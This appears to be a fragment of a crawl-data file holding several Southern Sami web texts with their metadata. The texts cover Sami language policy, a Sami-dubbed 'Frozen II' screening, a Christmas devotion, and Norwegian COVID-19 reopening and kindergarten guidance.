ovlæhkoes eejhtegh tjahkesjeminie bïjre jarkan laanten tjïeltine mah lin vaajtelamme akte saemien maanagïertesijjie gååvnesi sijjen maanese. Daah soptsesh akten biejjieladtje gæmhpoen bïjre soptsestieh juktie gorredidh saemien gïele aktem sijjiem åådtje akten aarkebiejjien gusnie jeanatjommese lea daaroengïelesne.\nMaajetjh dle mijjen naan tjïelth gusnie dïhte saemien annje lea joekoen nænnoes. Akte dejstie lea Guovdageaidnu gusnie Saemiedigkie aadtjen govlehtimmieseminaarem hööltesti. Daennie tjïeltesne doh jeanatjommesh saemiestieh, dåakterekontovresne, pollisesne jïh tjïeltesne. Skuvlesjaljosne maanah saemiengïelesne stååkedieh.\nDaate lea naakede maam saemien siebriedahke ij maehtieh vaeltedh goh akte buajhkoesvoete. Saemieh juhtieminie, jïh ahkedh jienebh mijjeste nöörjen staarine jïh tjïeltine årroeminie gusnie dïhte saemien ajve akte gellijste unnebelåhkojste. Dellie joekoen vihkeles sijjieh sjugniedidh mah sijjiem vedtieh dïsse mij lea saemien. NOU 2016: 18 Vaajmoegïele tjïerteste man vihkeles lea akte sjïere barkoem maanaj jïh noeri vööste stuvredh. Akte dejstie raeriestimmijste lea gaajhkh tjïelth abpe laantesne edtjieh aktem laakevïedteldihkie dïedtem utnedh saemiengïeleldh maanagïertefaalenassem faalehtidh gaajhkide saemien maanide, dastegh eejhtegh dam sijhtieh. Akte jeatjah raeriestimmie lea gorredidh learohkh aktem ellies saemien lïerehtimmiefaalenassem åadtjoeh maadthskuvlen raejeste jåarhkeskuvlen raajan.\nDan nöörjen jienebelåhkose, mij joe gaajhkh byögkeles dïenesjh sijjen ietniengïelesne åadtjoeh, dle dagkerh råajvarimmieh maehtieh dovne kontroversielle jïh ovdaerpies vååjnedh. Men akte daaroe ij gåessie gænnah daarpesjh siebriedahkem birredh viehkine årrodh ihke gorredidh maanah daaroen lierieh. Akte aevhkie jïh akte sjïere buerie maam daaroestæjjah joe utnieh. Jïjnjh dejstie råajvarimmijste salkehtimmesne voejhkelieh naakedem dehtie ovrïektesvoeteste jaabnedidh mejnie saemieh Nöörjesne jielieminie fïerhten biejjien.\nRaeriestimmieh aaj våaroeminie utnieh Saemiedigkien åejvieulmiem juktie saemien gïelh evtiedidh: låhkoem gïeleutniejijstie lissiehtidh jïh åtnoem dejstie saemien gïelijste siebriedahkesne lissiehtidh. Daate aktem ektie barkoem kreava. Goerkesem saemien gïelese dåastodh byögkeles Nöörjesne – mejtie lea healsoesuerkesne, justijsesuerkesne jallh skuvlesuerkesne – sæjhta jiehtedh mijjieh jååhkesjamme sjïdtebe jïh vuajnalgamme goh fïerhte daaroe. Gosse mijjieh goh ellen prååsehkommes dellie daarpesjibie mijjen domtesegïelesne soptsestidh, saaht gusnie årroeminie.\nGaajhkem dam daejrebe. Daelie vihkeles daate daajroe aaj stoerresiebriedahkese båata. Mijjieh goerkesen bïjre birrebe jienebelåhkoste, men dellie tjoerebe aaj dejtie goerkesem vedtedh guktie mijjen gïeleaarkebiejjie lea. Joe njoktjen 15.b. mierie nåhka juktie sov govlehtimmievaestiedassem sïjse seedtedh reerenassese NOU: 2016: 18 Vaajmoegïelen bïjre. Sïjhtem haestedh privaate almetjh, saemien siebrieh, institusjovnh jïh jielemeaktöörh - amma gaajhkesh mah saemien gïeli bïjre pryöjjadieh, sijjen mïelem buektedh. Datne, mij lea tjidtjie jallh aehtjie akten saemien maanese, soptsesth reerenassese man åvteste vihkeles dov maana sijjiem åådtje aktene saemien maanagiertesne, jallh man åvteste dov maana byöroe maehtedh digitaale Aph gaavnedh. Gïehtjh raeriestimmide salkehtimmesne jïh tjaelieh mejtie datne leah sïemes dejgujmie. Fïerhte vaestiedasse lea vihkeles! Ussjedh amma; jis ih datne dam soptsesth, gïeh jeatjebh edtjieh dam dov åvteste soptsestidh? Jis saemien siebriedahke ij utnieh daah råajvarimmieh goh daerpies jïh hijven, guktie maehtebe veanhtadidh stoerresiebriedahke dam meala. Akte akteraeresne gïelemoenehtse gusnie jeenjesh eah saemien utnieh goh jïjtse gïele, daejnie salkehtimmine juvnehte nöörjen åejvieladtjh vielie goh tjuetie råajvarimmiejgujmie nierhkedh mijjen vaajmoegïelide. Daelie tïjje båateme mijjieh ektesne daej raeriestimmiej duekesne tjåadtjobe åvtelen fer seenhte sjædta.\nLars Filip Paulsen, saemiedigkieraereste","id":"","dump":"CC-MAIN-2019-30","url":"https:\/\/saemiedigkie.no\/Saemiedigkien-bijre2\/Arkiv-perioden-2016-2017\/Saernievaaarhkoe\/Kronihke-Baajh-noeoerjen-siebriedahkem-daajroem-aaadtjodh-saemien-gieleaarkebiejjien-bijre","date":"2019-07-19T13:40:33Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-30\/segments\/1563195526237.47\/warc\/CC-MAIN-20190719115720-20190719141720-00290.warc.gz","language":"sma","language_score":1.0000053644,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 1.0000053644180298}","num_words":626,"character_repetition_ratio":0.054,"word_repetition_ratio":0.0,"special_characters_ratio":0.135,"stopwords_ratio":0.144,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Goeven 15. biejjien ts. 15.30 mijjieh maehtebe fïlmem «Jikŋon II» (Frost II) Røros kinosne vuartasjidh mearan saemiengïelem goltelibie.\nGellie almetjh geerjene sjidtin gosse Walt Disney jeehti «Jikŋon II» aaj edtja noerhtesaemiengïelesne årrodh. Fïlmen produseente, Peter del Vecho lea aarebi jeahteme tuhtjie luste Saemiedigkigujmie Nöörjesne, Sveerjesne jïh Såevmesne, jïh Saemieraerine barkedh jïh laavenjostedh. Satne aaj lea «Jikŋon I» (2013) dorjeme jïh jeahta «Jikŋon II» aaj inspirasjovne saemien siebriedahkeste åtna.\nDaan våhkoen dellie dah mejtie fïlmesne saemiestieh aaj åadtjoejin Hollywood:ese fealadidh jïh «Jikŋon II»-premierem dåeriedidh.\nSaemiedigkien presideente, Aili Keskitalo lea aarebi jeahteme tuhtjie öövre luste jïh satne joekoen gæjhteles dah saemien maanah åadtjoeh dam fïlmem dej ietniengïelesne goltelidh. Mijjieh daejrebe Ella Marie Hætta Isaksen jïh Mikkel Gaup göökte dejstie mejtie edtjieh fïlmesne saemiestidh. Keskitalo aaj jeahta tuhtjie joekoen hijven daate daan jaepien deahpede, juktie daan jaepien, 2019, lea FN'n aalkoeåålmegi gïelejaepie.\nDaelie «Jikŋon II» lea noerhtesaemiengïelesne båateme, jïh dellie maehtebe onterdidh gåessie «Jikŋon II» aaj åarjelsaemiengïelesne båata?","id":"","dump":"CC-MAIN-2019-51","url":"https:\/\/saernieh.no\/raetnoe-maehtebe-jiknon-ii-frost-ii-roros-kinosne-vuartasjidh-mearan-saemiengielem-goltelibie\/","date":"2019-12-06T06:43:20Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-51\/segments\/1575540484815.34\/warc\/CC-MAIN-20191206050236-20191206074236-00119.warc.gz","language":"sma","language_score":0.9999611378,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.9999611377716064}","num_words":151,"character_repetition_ratio":0.082,"word_repetition_ratio":0.0,"special_characters_ratio":0.172,"stopwords_ratio":0.139,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Gåetie-luhpie mij ij lij, jåvle-vaentjielisnie vihkele lea. Josef jïh Maarja tjoerigan nåake gåetie-sæjjan tjaangedh gosse gellie biejjieh fealadamme aerebe Betlehemmese böötigan. Ij lij naan sijjie guessiegåetesne jallh jeatjah gåetine. «Ij naan gåetie-luhpie» Lukasen vaentjele soptseste. Desnie ajve rehpie gusnie kreekh årroeminie. Gosse maana reakadi, dellie dam kreeki suejnie-sæjjan bïejigan. Idtji naan sijjie Josefasse jïh Maarjese. Eah jïjnjesh mijjeste dagkerh nåake gåetie-luhpiem åtneme. Mijjieh gïeh ræjhkoes laantesne årroeminie, ibie guarkah guktie dejpeli lij.\nJupmelen åssjalommesh naemhtie leah: Jeesusen gielhtie Jupmele mijjine aktani, almetji jielieminie jïh veartaninie aktani. Jeesuse sijjiem gaajhkesidie dorje. Raeffien åejvie idtji vaarenes jïh buejkies almetjidie veeljh: sïejme almetjidie badth veelji, dejtie gïeh giefie jïh hiejjies leah. Viesjies almetji gåajkoe bööti, dej gåajkoe gïeh faamohth leah. Juktie Jupmele almetjidie eahtsa, sijjiem jïjtsasse mijjen luvnie dorje jïh sijjiem gaajhkesidie dorje. Ij gie dan viesjies leah guktie maahta jiehtedh «ij naan sijjie munnjien» gosse gåvla saerniem Jeesusen bïjre. Ij gie dan viesjie leah guktie Jeesuse ij viesjebe orreme.\n«Dej beeli ...», jåvle-vaentjielisnie lohkebe. Jeesuse daelie aaj båata jis sijjiem åådtje mijjen luvnie jïh mijjen vaajmoej sïsnie. Soelkehtassine jïh håhkojne, aarmojne jïh raeffine båata. Mijjen gåajkoe båata seammasadth guktie libie jïh guktie mijjen luvnie lea. Elmie rïhpeldahkesne.\nMijjen vaajmojste heevehtimmie lokngese jalhts jallan govloe jïh gosse gïele sarkoes jïh gosse gïele jåalkas jïh tjïelke lea. Laavlobe, mijjieh gïeh jaehkebe jïh jueriedibie, iehtsebe jïh rohkelibie. Jupmele heevehtimmien sijjiem mijjesne sjugnede. Buerie-sjugniedimmien jåvlh!\nDatnem, Åejvie Jeesusem, vuejnebe\ngoh aktem eatnemen unniemistie.\nDov reakadimmien åavtoem\nibie gåessie gænnah guarkah.\nIhkuven laavlomisnie\ngaajhkh boelvh aktanieh.\nDatnem vuejnebe jïh jaehkebe.\nDov båeteme, Åejvie Jeesuse,\nveartenen jïjjem jeatjahtahta\njïh tjoevkem jïjnjesidie buakta\ngïeh oktegh domtoeh.\nViehkehth mijjem datnem dåeriedidh!\nBaajh veartenen almetjidie dov buerievoetem vuejnedh\ngosse jaahkoeladtjidie vuartasjieh!*\n(Svein Ellingsen. *Iij leah jarkoestaæjja laavlomem sjïehtesjamme guktie maehtebe daam laavlodh)\nHerborg Finnset\nNidarosen bïspe","id":"","dump":"CC-MAIN-2020-05","url":"https:\/\/kirken.no\/nb-NO\/fellesrad\/trondheim-kirkelige-fellesrad\/menigheter\/strinda-menighet\/nyhetsarkiv\/biskopens%20juleandakt%2020192\/","date":"2020-01-23T20:55:55Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-05\/segments\/1579250613416.54\/warc\/CC-MAIN-20200123191130-20200123220130-00472.warc.gz","language":"sma","language_score":0.9999353886,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999353885650635}","num_words":294,"character_repetition_ratio":0.049,"word_repetition_ratio":0.0,"special_characters_ratio":0.156,"stopwords_ratio":0.095,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"NRK > Tekst-TV > Side 496\n496.1 Oppdatert lørdag 25. jan kl 03.17\nNRK SAPMI Nyheter på sørsamisk 24.1 10.30 Healsoegoerehtimmie Trööndelagesne 15.okt Daan våhkoen jih dah båatije våhkoeh datne maahtah SMSe jallh påaste åadtjodh,gusnie healsoegoerehtimmie Trøøndelagesne datnem bööredh healsoegyhtjelassh vaestiedidh.Plassjen tjielten åvtehkedåaktere Anne Lajla Westerfjell Kalstad jeahta lea vihkeles almetjh goerehtimmiem svååredh.-Ibie daejrieh dan soe jijnjh magkeres healsoe åarjelsaemieh utnieh,daelie mijjieh vaestiedassh åadtjodh. 480 Nyheter på samisk 480","id":"","dump":"CC-MAIN-2020-05","url":"https:\/\/www.nrk.no\/tekst-tv\/496","date":"2020-01-25T17:15:31Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-05\/segments\/1579251678287.60\/warc\/CC-MAIN-20200125161753-20200125190753-00470.warc.gz","language":"sma","language_score":0.9996675253,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9996675252914429}","num_words":59,"character_repetition_ratio":0.074,"word_repetition_ratio":0.0,"special_characters_ratio":0.204,"stopwords_ratio":0.034,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Voerhtjen 2. biejjien Gïelem Nastedh dan Facebook-sæjrosne tjeeli orre Gïeleviehkie ohtsede. Datne 15-25 jaepien båeries, Trööndelaagesne årroeminie jïh maahtah åarjelsaemiengïelem soptsestidh, dellie Gïelem Nastedh sæjhta datne edtjh ohtsedh Gïeleviehkie sjïdtedh!\nProsjeekte lea onnetje jeatja aarebi boelhkeste, juktie daennie boelhkesne Gïeleviehkie-prosjeektesne Gïelem Nastedh sæjhta jeenebh noerh goh Gïeleviehkie. Daelie Gïelem Nastedh sæjhta medtie 10 noerh goh Gïeleviehkie jïh Gïelem Nastedh sæjhta gåabpatjahkh nïejth jïh baernieh edtjieh ohtsedh Gïeleviehkie sjïdtedh.\nInger Marit Eira-Åhrén lea ektievoete åvhtege saemien ektievoete – gïele jïh kultuvre Snåasen tjïeltesne, jïh dïhte jeahta:\n-Daejnie prosjeektine eelkimh juktie ibie ulmiedåehkiem råakh; noerh mah leah 15 jaepien jïh båarasåbpoe. Dannasinie lij daerpies orre nuepiem darjodh Aalkoealmetjegïeli gaskenasjonaale jaepie doekoe. Mijjieh guajhtsadimh dah mah bööremes noeride soptsestieh leah noerh, dillie mijjieh eelkimh daejnie prosjeektine barkedh. Daan prosjeekten ulmie lij åarjelsaemiengïelem gåhtsajehtedh lustes gïeline. Mijjieh 7 ohtsijh åadtjoejimh jïh vierhtiedimmiemoenehtse njieljie Gïeleviehkie veeljin, Inger Marit Eira-Åhrén jeahta.\nEira-Åhrén jeahta daan jaepien dah leah konseeptem jeatjahtahteme. Juktie prosjeekte jåarhkasåvva jïh evtede goh Instagramme\/sosijaale meedija-nuepie jïh nuepie goh gaavnedimmie, mohte ij tjoerh gåabpatjahkh nuepine viehkiehtidh. Gïelem Nastedh håhkesje dah mah sijhtieh Gïeleviehkie sjïdtedh aaj gaavnedæmman bööresuvvieh guvvide vaeltedh jïh nimhtie. Gïeleviehkie beetnegh åadtjoeh barkoen åvteste jïh aaj nuepiem gïeledåajrojne åadtjoeh jïh viehkie videjovh darjodh.\n-Mijjieh aaj sïjhtebe ovmessie meedija-straategijigujmie barkedh jienebe åarjelsaemien meedijase åadtjodh, lokaale, regionaale jïh nasjovnaale.\nInger Marit Eira-Åhrén jeahta daenbien dah leah 8 ohtsijh åådtjeme jïh minngemes biejjie maahtah ohtsedh Gïeleviehkie sjïdtedh lea suehpeden 1. biejjien.","id":"","dump":"CC-MAIN-2020-24","url":"https:\/\/saernieh.no\/gielem-nastedh-orre-gieleviehkie-ohtsede\/","date":"2020-06-03T00:15:35Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-24\/segments\/1590347426956.82\/warc\/CC-MAIN-20200602224517-20200603014517-00301.warc.gz","language":"sma","language_score":1.0000040531,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.0000040531158447}","num_words":227,"character_repetition_ratio":0.1,"word_repetition_ratio":0.0,"special_characters_ratio":0.144,"stopwords_ratio":0.123,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"–Ektesne libie buektiehtamme vijrusem gïehtjedidh, jïh dan åvteste maehtebe siebriedahkem ånnetji ånnetji rïhpestidh. Edtjebe dam ektesne darjodh, gïehtjedimmien nuelesne jïh guhkiebasse, staateministere Erna Solberg jeahta.\nMaanagïerth, 1.- 4. daltese maadthskuvlesne jïh SEÖ sijhtieh rïhpesidh vihth, jïh reerenasse sæjhta voerhtjen minngiegietjesne nihtemem jïjjedimmien vööste hæhtjosne hiejhtedh. Bietskiedæjjah jïh jeatjah gïehtelimmieh mah akti-akti- gaskesem utnieh åadtjoeh sijjen gïehtelimmine vihth aelkedh jis krïevenassh suetievaarjelimmieråajvarimmiej bïjre fulkieh. Jarkelimmieh sijhtieh ånnetji ånnetji sjugniehtovvedh voerhtjen.\nLissien reerenasse sæjhta jåarhkeskuvlh JÅA3-learoehkidie rïhpestidh mah barkoefaageles öörnegem skuvlesne fulkieh jïh JÅA2-barkoefaagelearoehkidie, jis daate maahta dorjesovvedh suetievaarjelimmiefaageles eensi vuekien mietie.\nReerenasse sæjhta baajedh studeenth jïh barkijh dåårrehtimmiebarkojne mah soejkesjen mietie edtjieh sijjen lohkemh jïh prosjekth galhkedh daan gïjren, jïh mah daarpesjieh dalhketjh nuhtjedh learoesijjesne, maehtieh bååstede båetedh universiteetide, jïlleskuvlide jïh faageskuvlide voerhtjen 27.b. raejeste. Dah tjuerieh seamma njoelkedassh fulkedh jovnesen bïjre goh barkoejieliedisnie, jïh hïejmeste barkedh gosse nuepiem utnieh dam darjodh.\nVoerhtjen\n–Annje mijjen ulmie lea koronavijrusem nåhkehtidh. Daelie vuejnebe råajvarimmieh aelkieh illedahkh vedtedh. Sïjhtem jïjnjh gyjhtelassh gaajhkesidie vedtedh mah stoerre barkoem dorjeme gosse hïejmesne orreme, jovnesem höölteme jïh suetiegeerjehtimmiem heerredamme. Daan stoerre barkoen gaavhtan maehtebe ånnetji ånnetji råajvarimmide jarkelidh, staateministere Erna Solberg jeahta.\nReerenasse sæjhta maanagïertide vihth rïhpestidh voerhtjen 20.b. raejeste jïh minngemes voerhtjen 27.b., jïh 1. – 4. daltese maadthskuvlesne jïh SEÖ voerhtjen 27.b. raejeste.\nFaagedåehkieh nammoehtamme sjidtieh mah laavenjostosne Almetjehealsoeinstituhtine, Ööhpehtimmiedirektoraatine jïh siebriejgujmie maanagïertesne jïh skuvlesne edtjieh tjïelke bïhkedæjjam darjodh jïh lïerehtimmiem vedtedh guktie maahta suetievaarjelimmiem gorredidh. Gaskem jeatjah guktie maahta ööhpehtimmiem öörnedidh, jïh maanah veedtjedh jïh deelledh maanagïertesne.\nReerenasse sæjhta bïhkedassh vedtedh guktie råajvarimmieh dan seammalaakan sjidtieh goh gåarede abpe laantesne. Reerenasse sæjhta daejtie krïevenasside mieriedimmesne vihtiestidh.\nEdtja nasjonaale kriterijh darjodh guktie edtja suetiegeerjehtimmiem gïetedidh maanagïertesne jallh skuvlesne.\nFaalenasse gaajhkesidie\n– Eejhtegh, maanah jïh barkijh edtjieh jearsoe årrodh rïhpestimmie jearsoeslaakan dorjesåvva. Dah edtjieh hijven jïh tjïelke bïevnesh åadtjodh guktie edtjieh suetiegeerjehtimmiem gaertjiedidh. Manne aavone doh unnemes maanah varke edtjieh åadtjodh bååstede båetedh maanagïertide jïh skuvlide, maahtoeministere Guri Melby jeahta.\nDaate dïedte ij leah faamosne dejtie maanide mah leah vaahradåehkesne jïh dejtie maanide mah fuelhkielïhtsegigujmie jielieh mah leah vaahradåehkine, juktie vaahram itjmies skïemtjelassese giehpiedidh. Dah sijhtieh annje maajhööhpehtimmiem åadtjodh. Skuvle-aajhterh edtjieh annje skuvlefaalenassem vedtedh gaajhkide prååsehke maanide jïh noeride skuvlesne, aaj dejtie mah leah 4. daltesen bijjelen.\n–Ulmie gaajhkh learohkh edtjieh maehtedh bååstede skuvlese båetedh giesien åvtelen, såemieslaakan, jis gåarede dam darjodh eensilaakan jïh suetievaarjelimmien vuekien mietie, Melby jeahta.\nÅnnetji ånnetji jïh gïehtjedimmien nuelesne\nReerenasse sæjhta strategijem jïh råajvarimmide vuarjasjidh juktie koronavijrusem nåhkehtidh daamtaj.\n–Ibie gæmhpoem vijrusen vööste vitneme, jalhts vååjnoe goh mijjieh ulmiem jakseme fïerhte almetje gaskemedtien ij jienebh goh aktem laanesth. Tjoerebe striengkies råajvarimmieh suetievaarjelimmien bïjre veanhtadidh guhkiem. Sïjhtebe siebriedahkem vihth rïhpestidh guhkiebasse jïh gïehtjedimmien nuelesne. Edtjebe dam ektesne buektiehtidh, healsoe- jïh hokseministere Bent Høie jeahta.\nDejtie healsoefaageles gïehtelimmide, gusnie akti-akti-gaskese, goh psykologh jïh fysioterapeuth, edtja bransjestandaardh suetievaarjelæmman evtiedidh rååresjimmesne Almetjehealsoeinstituhtine. Daah gïehtelimmieh maehtieh mahte goh sïejhmelaakan gïehtelidh gosse vihtiestamme krïevenassh suetievaarjelimmien bïjre fulkieh, jïh aaremes voerhtjen 20.b. raejeste.\nDejtie jeatjah suerkide gusnie akti-akti-gaskese, goh bietskiedæjjah jïh njaltjabåehtjierdæjjah, edtja suerkiestandaardh suetievaarjelæmman darjodh laavenjostosne Almetjehealsoeinstituhten jïh suerkien gaskem. Gïehtelimmieh mah vihtiestamme krïevenassh fulkieh maehtieh rïhpestidh easkah voerhtjen 27.b raejeste.\n–Tjïelke standaardi gaavhtan suetievaarjelimmien bïjre, daah suerkieh maehtieh sijjen gïehtelimmine jearsoeslaakan gïehtelidh. Dan åvteste maehtebe råajvarimmide ånnetji ånnetji jarkelidh daelie, Høie jeahta.\nJïjjedimmie hæhtjosne\nReerenasse aaj sjæjsjalamme nihtemem hiejhtedh jïjjedimmien vööste hæhtjosne voerhtjen 20.b. raejeste.\n– Ij sïjhth vielie bysvehtsem åadtjodh hæhtjosne jïjjedidh, men annje akte nasjonaale juvnehtimmie ij eejehtsfeeleminie mïnnedh, Bent Høie jeahta.\nRåajvarimmieh\nMaanagïerth jïh skuvlh\n- Voerhtjen 20. b.: Maanagïerth maehtieh rïhpestidh. Men krïevenasse lea maanagïerte maahta rïhpestimmiem darjodh suetievaarjelimmiefaageles jïh eensi vuekien mietie. Maanagïerth maehtieh tïjjem nuhtjedh voerhtjen 27.b. raajan rïhpestimmiem ryöjrehtidh jis daerpies. Bïhkedæjja sæjhta dorjesovvedh jïh lïerehtimmie vadtasåvva guktie maanagïerten aajhterh jïh barkijh tjïelke jïh vihties raerieh åadtjoeh guktie edtjieh suetievaarjelimmiefaageles jearsoelaakan barkedh.\n- Voerhtjen 27. b.: Skuvlh rïhpestieh 1. – 4. daltesasse maadthskuvlesne. Skuvle- eejehtimmieöörnege aaj rïhpeste. Jåarhkeskuvlh JÅA3-learoehkidie rïhpestieh mah barkoefaageles öörnegem skuvlesne fulkieh jïh JÅA2-barkoefaagelearoehkidie. Krïevenasse lea daate maahta dorjesovvedh suetievaarjelimmiefaageles eensi vuekien mietie. Bïhkedæjja jïh maahtoesoejkesje dorjesuvvieh guktie skuvle- aajhtere jïh barkijh tjïelke, vihties raerieh åadtjoeh guktie dah edtjieh sijjen barkoem darjodh. Daate dïedte ij leah faamosne dejtie maanide mah leah vaahradåehkine jïh dejtie maanide mah fuelhkielïhtsegigujmie vaahradåehkine jielieminie, juktie vaahram itjmies skïemtjelasside giehpiedidh. Dah sijhtieh jåerhkedh maajhööhpehtimmiem åadtjodh.\n- Voerhtjen 27. b.: Universiteeth, jïlleskuvlh jïh faageskuvlh rïhpestieh naan studeentide jïh barkijidie. Studeenth jïh barkijh dåårrehtimmiebarkojne mah leah galhkuveboelhken sijjen lohkemijstie jïh prosjektijste, jïh mah daarpesjieh dalhketjh learoesijjesne nuhtjedh, maehtieh åadtjodh bååstede båetedh universiteetide, jïlleskuvlide jïh faageskuvlide voerhtjen 27.b. raejeste. Dah tjuerieh dejtie seamma njoelkedasside fulkedh jovnesen bïjre goh barkoejieliedisnie, jïh hïejmeste barkedh gosse dej lea nuepie dam darjodh.\nHæhtjoeh\n- Voerhtjen 20. b.: Nihteme jïjjedimmien vööste eejehtimmie-eekesne ij leah vielie faamosne.\nGïehtelimmieh\n- Voerhtjen 20. b.: Gellie healsoefaageles gïehtelimmieh mah akti-akti-gaskesem utnieh, goh fysioterapeuth jïh psykologh, eah leah nuepiem åtneme sijjen gïehtelimmine ellieslaakan gïehtelidh. Daelie sijhtieh maehtedh vielie goh sïejhmelaakan gïehtelidh jis dah suetievaarjelimmien vihtiestamme råajvarimmieh fulkieh. Edtja bransjestandaardh evtiedidh rååresjimmesne Almetjehealsoeinstituhtine jïh suerkine.\n- Voerhtjen 27. b: Dïenesjh mah akti-akti-gaskesem utnieh goh bietskiedæjjah jïh njaltjabåehtjierdæjjah maehtieh rïhpestidh jis sijjen gïehtelimmien darjoeh krïevenassi suetievaarjelimmien bïjre. Rïhpestimmien åvtelen edtja suetievaarjelimmiekrïevenassh evtiedidh suerkien jïh Almetjehealsoeinstituhten gaskem. Jis maahta suerkielatjkoem suetievaarjelimmien bïjre fulkedh, dagkerh gïehtelimmieh maehtieh rïhpestidh aarebi goh voerhtjen 27.b.\nJeatjah råajvarimmieh\n- Eejhtegh\/åelieh mah laanteraastaj rastah minnieh juktie sijjen unnebejaepien maanajgujmie årrodh eah edtjh sïejhme karanteenesne mïnnedh. Daate dallatjinie faamoem åådtje.\n- Nihteme kultuvre- jïh gaarsjelimmie- jïh jeatjah öörnedimmiej vööste mah eah vihkeles krïevenassh suetievaarjelæmman gorredh, sæjhta faamosne årrodh ruffien 15.b. raajan.\n- Maahta gaarsjelimmiedarjomh tjirrehtidh gosse Healsoedirektoraaten juvnehtimmieh fulkieh jovnesen jïh dåehkiej bïjre.\n- Tjïelth stillemem åadtjoeh hoksedh dah mah edtjieh karanteenesne jallh isoleradimmesne årrodh maehtieh hotellesne jallh jeatjah sijjesne årrodh maam tjïelte muana.\n- Skïemtjegåetieh edtjieh iemie gïehtelæmman ryöjrehtidh påaski mænngan.\n- Healsoedirektoraate edtja fylhkenålmajgujmie ektine hoksedh tjïelth iemie darjomigujmie nierhkieh healsoe- jïh hoksedïenesjisnie.\n- Tjïelth nænnoesåbpoe krïevenassem åadtjoeh prååsehke maanah gorredidh.","id":"","dump":"CC-MAIN-2020-24","url":"https:\/\/saernieh.no\/reerenasse-saejhta-siebriedahkem-annetji-annetji-jih-giehtjedimmien-nuelesne-rihpestidh\/","date":"2020-06-03T01:04:50Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-24\/segments\/1590347426956.82\/warc\/CC-MAIN-20200602224517-20200603014517-00397.warc.gz","language":"sma","language_score":1.0000021458,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.000002145767212}","num_words":927,"character_repetition_ratio":0.074,"word_repetition_ratio":0.004,"special_characters_ratio":0.137,"stopwords_ratio":0.113,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Almetjehealsoeinstituhte jïh ööhpehtimmiedirektovraate lea daam tjaaleme:\nÅvtelen maanagïerth Nöörjesne steegkesovvin ij lij naan åehpies suetiegeerjehtimmie maanaj gaskem maanagïertine. Viertiestamme geerve almetjigujmie vaenie maanah mah suetiem åådtjeme Nöörjesne jïh abpe veartenisnie. Daan mearan vååjnoe goh maanah jïh noerh joekoen vuelege vaahram utnieh skïemtjelassem koronavijrusinie åadtjodh. Daate lea vueliegåbpoe goh jeatjah voejngehtasseskïemtjelasside voejngehtassine mejtie maanah maehtieh åadtjodh, vuesiehtimmien gaavhtan influensa jïh RS-vijruse.\nJearsoe maanide maanagïertesne årrodh\nJuktie suetiem gaertjiedidh libie daelie gelliej råajvarimmiejgujmie nïerhkeme maanagïertesne. Boelhken åvtese sïjhtebe lissie veele årrodh hijven suetievaarjelimmiem gorredidh. Men dellie gaajhkesh mijjieh tjoerebe dejnie viehkiehtidh jïh dejtie orre raeride fulkedh. Maanagïertesne sïjhtebe joekoen ååntjestalledh:\n- gïeth bïssedh jïh maanide viehkiehtidh guktie dah hijven gïetebïssemerutijnh lierieh\n- hijvenlaakan sjïekedidh maanagïertesne\n- stååkegaevnieh jaabnan bïssedh\n- lissie jïjnjem ålkone årrodh maanajgujmie tïjjen åvtese\n- unnebe maanadåehkieh utnedh mah leah vihties barkijigujmie ektine\nMaanagïerte edtja annje hoksem maanide vedtedh\nEdtjebe annje maanaj fysiske hoksedaerpiesvoetem gorredidh jïh hoksedh gaajhkh maanah jearsoesvoetem, ektiedimmiem jïh tråjjem dååjroeh maanagïertesne. Murriedimmie jïh soelkedasse lea annje vihkeles maanide.\nJis dov maana mådtan domtoe\nJis maanan leah skïemtjelassesymptomh, aaj viesjies symptomh, idie edtjh maanagïertese båetedh. Daelie lissie vihkeles maanah leah gåetesne unnemes aktem dygnem mænngan dej eah vielie symptomh. Eejhtegh mej voejngehtassesymptomh, eah edtjh maanide maanagïertese dåeriedidh jallh dejtie veedtjedh. Vaallah gosse eejhtegh jallh naan jeatjebh gåetieguntesne skïemtjelassem koronavijrusinie åådtjeme, edtjede maanagïertese båetedh.\nJis maana skiemtjine sjædta maanagïertesne, tjoerede maanam veedtjedh dan varke gåarede.\nEejhtegh eah byörh maanagïerten sïjse dåeriedidh\nMijjieh pryövebe dan gåhkese gåarede maanide ålkone dåastoehtidh. Maanah byöroeh ålkoevaarjoeh utnedh gosse maanagïertese båetieh.\nAellede stååkegaevnieh meatan vaeltieh gåeteste\nMaanah eah edtjh jïjtsh stååkegaevnieh meatan vaeltedh gåeteste. Jis dov maana jïjtse murredskreekem åtna gosse edtja åeredh, maehtede dam meatan vaeltedh. Men lissie vihkeles maana ij dam jeatjah maanagujmie maanagïertesne juekieh.Gïeth bïssedh lea seamma vihkeles gåetesne goh maanagïertesne. Bïssh gïeth åvtelen maanagïertese båetede, jïh dallatjinie gosse gåatan båetede.\nMijjieh haestebe maanah leah vaenie jeatjah maanajgujmie ektine astoeaejkien, jïh byöroeh eeremasth ålkone 